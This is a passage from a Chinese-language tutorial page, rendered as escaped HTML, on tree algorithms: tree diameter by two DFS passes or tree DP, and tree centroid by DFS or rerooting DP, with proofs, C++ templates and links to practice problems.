        int u = q.front(); q.pop();
        for (int v : children[u]) {
            q.push(v);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;TreeTraversal /&gt;

&lt;Info&gt;
已知中序遍历和先序/后序中的任意一个，可以唯一确定一棵二叉树的结构。
&lt;/Info&gt;

&lt;h2&gt;练习题推荐&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://leetcode.cn/problems/maximum-depth-of-binary-tree/&quot;&gt;LeetCode 104. 二叉树的最大深度&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://leetcode.cn/problems/lowest-common-ancestor-of-a-binary-tree/&quot;&gt;LeetCode 236. 二叉树的最近公共祖先&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://leetcode.cn/problems/binary-tree-level-order-traversal/&quot;&gt;LeetCode 102. 二叉树的层序遍历&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://leetcode.cn/problems/binary-tree-preorder-traversal/&quot;&gt;LeetCode 144/94/145. 二叉树的前序/中序/后序遍历&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h1&gt;第二部分：树的直径&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;树的直径&lt;/strong&gt;（Tree Diameter）是树上任意两节点之间最长的简单路径。它是树论中最基础也最重要的问题之一，广泛应用于网络设计、路径规划等领域。&lt;/p&gt;
&lt;h2&gt;求解方法&lt;/h2&gt;
&lt;p&gt;求树的直径有两种时间复杂度为 $O(n)$ 的经典方法：&lt;/p&gt;
&lt;h3&gt;方法一：两次 DFS&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;思路&lt;/strong&gt;：从任意节点出发找到最远点 $z$，再从 $z$ 出发找到最远点 $z&amp;#39;$，则 $z$ 到 $z&amp;#39;$ 的路径即为直径。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;原理证明&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;设树的直径端点为 $u$ 和 $v$，从任意节点 $y$ 出发找到的最远点为 $z$。我们需要证明 $z$ 必须是 $u$ 或 $v$。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;采用反证法&lt;/strong&gt;：假设 $z$ 既不是 $u$ 也不是 $v$。&lt;/p&gt;
&lt;p&gt;设 $y$ 到 $z$ 的路径离开直径的分叉点为 $x$（即 $x$ 在直径上，从 $x$ 开始路径离开直径走向 $z$）。分两种情况讨论：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;情况一：$y$ 在直径上&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;设直径上各点的顺序为 $u \to x \to y \to v$（$x$ 在 $y$ 的 $u$ 方向一侧）。&lt;/p&gt;
&lt;p&gt;$$d(y,z) = d(y,x) + d(x,z)$$&lt;/p&gt;
&lt;p&gt;由于 $z$ 是最远点，有 $d(y,z) \ge d(y,v)$。而 $d(y,v) = d(y,x) + d(x,v)$，因此：&lt;/p&gt;
&lt;p&gt;$$d(x,z) \ge d(x,v)$$&lt;/p&gt;
&lt;p&gt;现在构造路径 $u \to x \to z$，其长度为：&lt;/p&gt;
&lt;p&gt;$$d(u,x) + d(x,z) \ge d(u,x) + d(x,v) = d(u,v)$$&lt;/p&gt;
&lt;p&gt;如果 $d(x,z) &amp;gt; d(x,v)$，则新路径长度严格大于直径，矛盾！&lt;/p&gt;
&lt;p&gt;若 $x$ 在 $y$ 的 $v$ 方向一侧，类似可证 $z$ 必须是 $u$。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;情况二：$y$ 不在直径上&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;设 $y$ 到直径的唯一连接点为 $w$，$y$ 到 $w$ 的距离为 $c$。则：&lt;/p&gt;
&lt;p&gt;$$d(y,u) = c + d(w,u), \quad d(y,v) = c + d(w,v)$$&lt;/p&gt;
&lt;p&gt;假设 $d(w,u) \le d(w,v)$，即 $w$ 更靠近 $u$，则 $v$ 是从 $y$ 出发在直径方向上的最远点。&lt;/p&gt;
&lt;p&gt;如果 $z$ 不是 $v$，设 $z$ 到 $w$ 的路径在点 $x$ 处离开直径（$x$ 在 $w$ 到 $z$ 的路径上）。则：&lt;/p&gt;
&lt;p&gt;$$d(y,z) = c + d(w,x) + d(x,z)$$&lt;/p&gt;
&lt;p&gt;由于 $z$ 是最远点，$d(y,z) \ge d(y,v) = c + d(w,v)$。&lt;/p&gt;
&lt;p&gt;若 $x$ 在 $w$ 到 $v$ 的方向上，则 $d(w,v) = d(w,x) + d(x,v)$，从而：&lt;/p&gt;
&lt;p&gt;$$d(x,z) \ge d(x,v)$$&lt;/p&gt;
&lt;p&gt;构造路径 $u \to w \to x \to z$：&lt;/p&gt;
&lt;p&gt;$$d(u,w) + d(w,x) + d(x,z) \ge d(u,w) + d(w,x) + d(x,v) = d(u,v)$$&lt;/p&gt;
&lt;p&gt;若 $d(x,z) &amp;gt; d(x,v)$，路径长度严格大于直径，矛盾！&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;结论&lt;/strong&gt;：从任意点出发，最远点一定是直径的某个端点。&lt;/p&gt;
&lt;TreeDiameterDFS /&gt;

&lt;Info&gt;
两次 DFS 方法**方便记录直径路径**——只需在第二次 DFS 时记录前驱节点即可。
&lt;/Info&gt;

&lt;Warning&gt;
两次 DFS 方法**不适用于负权边**！当边权存在负数时，证明的正确性会失效。
&lt;/Warning&gt;

&lt;h3&gt;方法二：树形 DP&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;思路&lt;/strong&gt;：对每个节点，计算从它向下延伸的最长链 $d_1$ 和次长链 $d_2$（两条链不能共享边），直径即为所有 $d_1 + d_2$ 的最大值。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;正确性证明&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;我们分两步证明：$\max(d_1[u] + d_2[u])$ 确实等于树的直径。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一步：$\max(d_1[u] + d_2[u])$ 是直径的一个候选&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;树的直径是一条路径，设这条路径为 $p_1 \to p_2 \to \cdots \to p_k$。&lt;/p&gt;
&lt;p&gt;由于树是无向图，我们可以选定任意节点作为根。以直径路径上深度最小的节点作为根（或者将树&amp;quot;拉直&amp;quot;，直径就是一条横向路径）。&lt;/p&gt;
&lt;p&gt;对于直径路径上的每个节点 $u$，直径从 $u$ 的两个不同子树方向延伸出去。设这两个方向分别为子节点 $a$ 和子节点 $b$。&lt;/p&gt;
&lt;p&gt;从 $u$ 向 $a$ 方向延伸的部分，就是 $u$ 向子树 $a$ 延伸的一条链。这条链的长度不超过 $d_1[u]$（因为 $d_1[u]$ 是从 $u$ 向下延伸的最长链）。&lt;/p&gt;
&lt;p&gt;同理，向 $b$ 方向延伸的链长度不超过 $u$ 向子树 $b$ 延伸的最长链。由于 $a$ 和 $b$ 是不同的子节点，这条链与向 $a$ 的链不共享边，其长度不超过次长链 $d_2[u]$。&lt;/p&gt;
&lt;p&gt;因此，直径长度 $\le d_1[u] + d_2[u]$，进而直径长度 $\le \max_u(d_1[u] + d_2[u])$。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二步：$\max(d_1[u] + d_2[u])$ 是一条可行路径&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;设 $u$ 是使 $d_1[u] + d_2[u]$ 最大的节点。$d_1[u]$ 是从 $u$ 向某个子节点 $v_1$ 的子树延伸的最长链，$d_2[u]$ 是向另一个子节点 $v_2$ 的子树延伸的次长链。&lt;/p&gt;
&lt;p&gt;由于 $v_1 \neq v_2$，这两条链不共享边。将它们在 $u$ 处连接，形成一条经过 $u$ 的路径，长度恰为 $d_1[u] + d_2[u]$。&lt;/p&gt;
&lt;p&gt;这条路径完全在树内，因此其长度不超过直径。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;结论&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;由第一步，直径 $\le \max(d_1[u] + d_2[u])$。&lt;/p&gt;
&lt;p&gt;由第二步，$\max(d_1[u] + d_2[u]) \le$ 直径。&lt;/p&gt;
&lt;p&gt;因此两者相等，$\max(d_1[u] + d_2[u])$ 即为树的直径。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;状态转移&lt;/strong&gt;：
$$d_1[u] = \max(d_1[v] + w(u,v)) \quad \text{对所有子节点 } v$$
$$d_2[u] = \text{次大值}$$&lt;/p&gt;
&lt;TreeDiameterDP /&gt;

&lt;Info&gt;
树形 DP 方法**适用于负权边**，因为它是自底向上计算，考虑了所有可能的路径组合。
&lt;/Info&gt;

&lt;h3&gt;方法对比&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;两次 DFS&lt;/th&gt;
&lt;th&gt;树形 DP&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;时间复杂度&lt;/td&gt;
&lt;td&gt;$O(n)$&lt;/td&gt;
&lt;td&gt;$O(n)$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;空间复杂度&lt;/td&gt;
&lt;td&gt;$O(n)$&lt;/td&gt;
&lt;td&gt;$O(n)$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;负权边&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;❌ 不支持&lt;/td&gt;
&lt;td&gt;✅ 支持&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;记录路径&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ 简单&lt;/td&gt;
&lt;td&gt;⚠️ 稍复杂&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;实现难度&lt;/td&gt;
&lt;td&gt;简单&lt;/td&gt;
&lt;td&gt;中等&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;重要性质：中点重合&lt;/h2&gt;
&lt;p&gt;当树上所有边权均为正数时，一个优美的性质成立：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;所有直径的中点必定重合。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;证明（反证法）&lt;/strong&gt;：
设两条直径 $u \to v$ 和 $u&amp;#39; \to v&amp;#39;$ 的中点分别为 $m$ 和 $m&amp;#39;$，且 $m \neq m&amp;#39;$。&lt;/p&gt;
&lt;p&gt;由于两条直径长度相等，我们可以构造一条更长的路径：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;从 $m$ 出发沿直径到 $u$&lt;/li&gt;
&lt;li&gt;再从 $u$ 通过公共部分到 $u&amp;#39;$&lt;/li&gt;
&lt;li&gt;最后从 $u&amp;#39;$ 沿另一条直径到 $v&amp;#39;$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这样构造的路径长度必然大于原直径，矛盾！&lt;/p&gt;
&lt;TreeDiameterMidpoint /&gt;

&lt;h2&gt;代码实现&lt;/h2&gt;
&lt;h3&gt;两次 DFS（C++）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &amp;lt;bits/stdc++.h&amp;gt;
using namespace std;

const int N = 100005;
vector&amp;lt;int&amp;gt; adj[N];
int dist[N], parent[N];

void dfs(int u, int fa, int d) {
    dist[u] = d;
    parent[u] = fa;
    for (int v : adj[u]) {
        if (v != fa) dfs(v, u, d + 1);
    }
}

int main() {
    int n;
    cin &amp;gt;&amp;gt; n;

    for (int i = 1; i &amp;lt; n; i++) {
        int u, v;
        cin &amp;gt;&amp;gt; u &amp;gt;&amp;gt; v;
        adj[u].push_back(v);
        adj[v].push_back(u);
    }

    // 第一次 DFS
    dfs(1, -1, 0);
    int z = max_element(dist + 1, dist + n + 1) - dist;

    // 第二次 DFS
    dfs(z, -1, 0);
    int z2 = max_element(dist + 1, dist + n + 1) - dist;

    cout &amp;lt;&amp;lt; &amp;quot;直径长度: &amp;quot; &amp;lt;&amp;lt; dist[z2] &amp;lt;&amp;lt; endl;

    // 输出直径路径
    vector&amp;lt;int&amp;gt; path;
    for (int u = z2; u != -1; u = parent[u]) {
        path.push_back(u);
    }
    // path 即为直径路径

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;树形 DP（C++）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &amp;lt;bits/stdc++.h&amp;gt;
using namespace std;

const int N = 100005;
vector&amp;lt;pair&amp;lt;int,int&amp;gt;&amp;gt; adj[N]; // (邻点, 边权)
int d1[N], d2[N]; // 最长链、次长链
int diameter = 0;

void dp(int u, int fa) {
    d1[u] = d2[u] = 0;

    for (auto [v, w] : adj[u]) {
        if (v == fa) continue;

        dp(v, u);

        int d = d1[v] + w;
        if (d &amp;gt; d1[u]) {
            d2[u] = d1[u];
            d1[u] = d;
        } else if (d &amp;gt; d2[u]) {
            d2[u] = d;
        }
    }

    diameter = max(diameter, d1[u] + d2[u]);
}

int main() {
    int n;
    cin &amp;gt;&amp;gt; n;

    for (int i = 1; i &amp;lt; n; i++) {
        int u, v, w = 1;
        cin &amp;gt;&amp;gt; u &amp;gt;&amp;gt; v;
        adj[u].push_back({v, w});
        adj[v].push_back({u, w});
    }

    dp(1, -1);
    cout &amp;lt;&amp;lt; &amp;quot;直径长度: &amp;quot; &amp;lt;&amp;lt; diameter &amp;lt;&amp;lt; endl;

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;练习题推荐&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;题目&lt;/th&gt;
&lt;th&gt;难度&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.luogu.com.cn/problem/B4016&quot;&gt;洛谷 B4016 树的直径&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;⭐&lt;/td&gt;
&lt;td&gt;入门题，求直径长度&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.luogu.com.cn/problem/P2491&quot;&gt;洛谷 P2491 消防&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;td&gt;SDOI2011，直径上的最优选点&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.luogu.com.cn/problem/P3629&quot;&gt;洛谷 P3629 巡逻&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;td&gt;APIO2010，加边后的直径变化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://leetcode.cn/problems/tree-diameter/&quot;&gt;LeetCode 1245. 树的直径&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;⭐⭐&lt;/td&gt;
&lt;td&gt;无向树的直径&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;两次 DFS&lt;/strong&gt; 实现简单，方便记录路径，但不支持负权边&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;树形 DP&lt;/strong&gt; 更通用，支持负权边，是竞赛中的首选方法&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中点重合&lt;/strong&gt; 是正权树的重要性质，可用于优化和证明&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h1&gt;第三部分：树的重心&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;树的重心&lt;/strong&gt;（Tree Centroid）是树论中的核心概念之一。删去重心后，树会被相对均匀地分割成若干部分，这一性质使其成为&lt;strong&gt;点分治&lt;/strong&gt;（重心分解）算法的基础。&lt;/p&gt;
&lt;h2&gt;定义&lt;/h2&gt;
&lt;p&gt;如果在树中删去某个节点 $v$ 后，得到的每个连通分量的大小&lt;strong&gt;均不超过原树节点总数的一半&lt;/strong&gt;，那么节点 $v$ 就是整棵树的重心。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重量&lt;/strong&gt;：删去某节点后，得到的最大连通分量的大小称为该节点的重量。重心即重量不超过 $n/2$ 的节点。&lt;/p&gt;
&lt;TreeCentroidDef /&gt;

&lt;h2&gt;等价定义与性质&lt;/h2&gt;
&lt;h3&gt;等价定义&lt;/h3&gt;
&lt;p&gt;重心有多种等价的描述方式：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;等价定义&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;连通分量极值&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;删去重心得到的最大连通分量是所有删点方案中最小的&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;距离和最小&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;树中所有节点到重心的距离之和最小&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;有根树视角&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;以重心为根时，任意真子树大小都不超过 $n/2$&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;TreeCentroidDist /&gt;

&lt;h3&gt;核心性质&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;性质 1：重心数量&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一棵树最多有两个重心；如果有两个重心，它们必定相邻。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;TreeCentroidTwo /&gt;

&lt;p&gt;&lt;strong&gt;性质 2：动态稳定性&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;添加或删除一个叶子节点，新树的重心最多移动一条边的距离。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这一性质在动态维护重心时非常有用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;性质 3：合并性质&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;将两棵树通过一条边合并，新树的重心必在原来两棵重心之间的路径上。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;重心的求法&lt;/h2&gt;
&lt;h3&gt;方法：一次 DFS&lt;/h3&gt;
&lt;p&gt;通过一次 DFS 统计每个节点的子树大小，同时计算删去该节点后各连通块的最大值。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;算法流程&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;DFS 遍历，计算每个节点 $u$ 的子树大小 &lt;code&gt;size[u]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;对于节点 $u$，删去它后的连通块有：&lt;ul&gt;
&lt;li&gt;各子树：&lt;code&gt;size[v]&lt;/code&gt;（$v$ 是 $u$ 的子节点）&lt;/li&gt;
&lt;li&gt;向上的部分：&lt;code&gt;n - size[u]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;取这些值的最大值作为 $u$ 的重量&lt;/li&gt;
&lt;li&gt;重量 $\le n/2$ 的节点即为重心&lt;/li&gt;
&lt;/ol&gt;
&lt;TreeCentroidDFS /&gt;

&lt;Info&gt;
DFS 方法的时间复杂度为 $O(n)$，是最常用且高效的重心求法。
&lt;/Info&gt;

&lt;h2&gt;代码实现&lt;/h2&gt;
&lt;h3&gt;C++ 模板&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &amp;lt;bits/stdc++.h&amp;gt;
using namespace std;

const int N = 100005;
vector&amp;lt;int&amp;gt; adj[N];
int size_[N];      // 子树大小
int max_part[N];   // 删去该节点后的最大连通块
int n;
vector&amp;lt;int&amp;gt; centroids;

void dfs(int u, int fa) {
    size_[u] = 1;
    max_part[u] = 0;

    for (int v : adj[u]) {
        if (v == fa) continue;
        dfs(v, u);
        size_[u] += size_[v];
        max_part[u] = max(max_part[u], size_[v]);
    }

    // 向上的连通块
    max_part[u] = max(max_part[u], n - size_[u]);

    // 判断是否为重心
    if (max_part[u] &amp;lt;= n / 2) {
        centroids.push_back(u);
    }
}

int main() {
    cin &amp;gt;&amp;gt; n;
    for (int i = 1; i &amp;lt; n; i++) {
        int u, v;
        cin &amp;gt;&amp;gt; u &amp;gt;&amp;gt; v;
        adj[u].push_back(v);
        adj[v].push_back(u);
    }

    dfs(1, -1);

    cout &amp;lt;&amp;lt; &amp;quot;重心: &amp;quot;;
    for (int c : centroids) {
        cout &amp;lt;&amp;lt; c &amp;lt;&amp;lt; &amp;quot; &amp;quot;;
    }
    cout &amp;lt;&amp;lt; endl;

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;换根 DP 方法&lt;/h3&gt;
&lt;p&gt;利用「距离和最小」的性质，通过两次 DFS 计算所有节点的距离和，然后取最小值对应的节点作为重心。这种方法的优势是能同时得到所有节点作为根时的距离和信息。&lt;/p&gt;
&lt;TreeRerootDP /&gt;

&lt;h4&gt;算法原理&lt;/h4&gt;
&lt;p&gt;换根 DP 的核心思想是&lt;strong&gt;利用父子关系，从已知的根节点信息推导所有节点的信息&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;设 $dp[u]$ 表示以 $u$ 为根时，所有节点到 $u$ 的距离之和。如果我们已经计算出了 $dp[root]$（某个根节点的距离和），如何高效地计算出其他节点的 $dp$ 值？&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关键观察：换根时的变化&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;考虑从父亲节点 $u$ 换根到子节点 $v$ 时，各节点距离的变化：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;$v$ 的子树内节点&lt;/strong&gt;（共 $size_v$ 个）：原本距离是到 $u$ 的，现在变成到 $v$ 的，距离各&lt;strong&gt;减少 1&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;$v$ 的子树外节点&lt;/strong&gt;（共 $n - size_v$ 个）：原本距离是到 $u$ 的，现在需要经过 $u$ 再到 $v$，距离各&lt;strong&gt;增加 1&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此得到转移公式：&lt;/p&gt;
&lt;p&gt;$$dp[v] = dp[u] - size_v + (n - size_v) = dp[u] + n - 2 \cdot size_v$$&lt;/p&gt;
&lt;h4&gt;两次 DFS 的具体过程&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;第一次 DFS（dfs1）&lt;/strong&gt;：以任意节点为根（如节点 1），自顶向下传递深度，自底向上累加 size 和 dp。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;size[u]&lt;/code&gt;：以 $u$ 为根的子树大小&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dep[u]&lt;/code&gt;：$u$ 到根节点的距离（深度）&lt;/li&gt;
&lt;li&gt;初始时，$dp[u] = dep[u]$（每个节点对根的距离贡献初始为深度值）&lt;/li&gt;
&lt;li&gt;回溯时累加子节点信息：$size[u] += size[v]$，$dp[u] += dp[v]$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这样 DFS1 结束后，$dp[root]$ 就是以 root 为根时的距离和。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二次 DFS（dfs2）&lt;/strong&gt;：从根开始，利用转移公式依次计算每个子节点作为根时的 dp 值。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;dp[v] = dp[u] + n - 2 * size[v];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DFS2 结束后，所有节点的 $dp$ 值都已计算完毕，取最小值即为重心。&lt;/p&gt;
&lt;h4&gt;时间复杂度分析&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;操作&lt;/th&gt;
&lt;th&gt;复杂度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;DFS1&lt;/td&gt;
&lt;td&gt;$O(n)$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DFS2&lt;/td&gt;
&lt;td&gt;$O(n)$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;找最小值&lt;/td&gt;
&lt;td&gt;$O(n)$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;总计&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$O(n)$&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;相比于暴力方法（每个节点做一次 BFS/DFS，$O(n^2)$），换根 DP 将复杂度优化到了线性！&lt;/p&gt;
&lt;Info&gt;
换根 DP 是一类通用技巧，不仅适用于求距离和最小的问题，还可以用于求「以每个节点为根时的最大子树大小」等问题。核心都是找到换根时的变化规律。
&lt;/Info&gt;

&lt;h4&gt;代码实现&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &amp;lt;bits/stdc++.h&amp;gt;
using namespace std;

const int N = 100005;
vector&amp;lt;int&amp;gt; adj[N];
int n, size_[N], dep[N];
long long dp[N];  // dp[u] = 以u为根的距离和

void dfs1(int u, int fa) {
    size_[u] = 1;
    dp[u] = dep[u];  // 初始值：当前节点对根的距离贡献 = 深度
    for (int v : adj[u]) {
        if (v == fa) continue;
        dep[v] = dep[u] + 1;  // 先传递深度
        dfs1(v, u);           // 递归子节点
        size_[u] += size_[v]; // 累加子树大小
        dp[u] += dp[v];       // 累加子节点对根的距离贡献
    }
}

void dfs2(int u, int fa) {
    for (int v : adj[u]) {
        if (v == fa) continue;
        // 换根转移公式：dp[v] = dp[u] + n - 2*size[v]
        dp[v] = dp[u] - size_[v] + (n - size_[v]);
        dfs2(v, u);
    }
}

int main() {
    cin &amp;gt;&amp;gt; n;
    for (int i = 1; i &amp;lt; n; i++) {
        int u, v;
        cin &amp;gt;&amp;gt; u &amp;gt;&amp;gt; v;
        adj[u].push_back(v);
        adj[v].push_back(u);
    }

    dep[1] = 0;  // 根节点深度为0
    dfs1(1, -1); // 第一次DFS：计算size和dp[根]
    dfs2(1, -1); // 第二次DFS：换根转移，计算所有dp值

    // 距离和最小的节点即为重心
    int centroid = min_element(dp + 1, dp + n + 1) - dp;
    cout &amp;lt;&amp;lt; &amp;quot;重心: &amp;quot; &amp;lt;&amp;lt; centroid &amp;lt;&amp;lt; endl;
    cout &amp;lt;&amp;lt; &amp;quot;距离和: &amp;quot; &amp;lt;&amp;lt; dp[centroid] &amp;lt;&amp;lt; endl;

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;经典应用&lt;/h2&gt;
&lt;h3&gt;点分治（重心分解）&lt;/h3&gt;
&lt;p&gt;重心最重要的应用是&lt;strong&gt;点分治&lt;/strong&gt;算法。每次选择子树的重心作为分治中心，可以保证：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每层分治后子树大小不超过原来的一半&lt;/li&gt;
&lt;li&gt;递归深度为 $O(\log n)$&lt;/li&gt;
&lt;li&gt;总时间复杂度 $O(n \log n)$&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;练习题推荐&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;题目&lt;/th&gt;
&lt;th&gt;难度&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.luogu.com.cn/problem/P1364&quot;&gt;洛谷 P1364 医院设置&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;⭐&lt;/td&gt;
&lt;td&gt;距离和最小应用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://codeforces.com/problemset/problem/715/C&quot;&gt;CF 715C Digit Tree&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;td&gt;点分治经典题&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.luogu.com.cn/problem/P2634&quot;&gt;洛谷 P2634 聪聪可可&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;td&gt;点分治入门&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;要点&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;定义&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;删去后最大连通块 $\le n/2$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
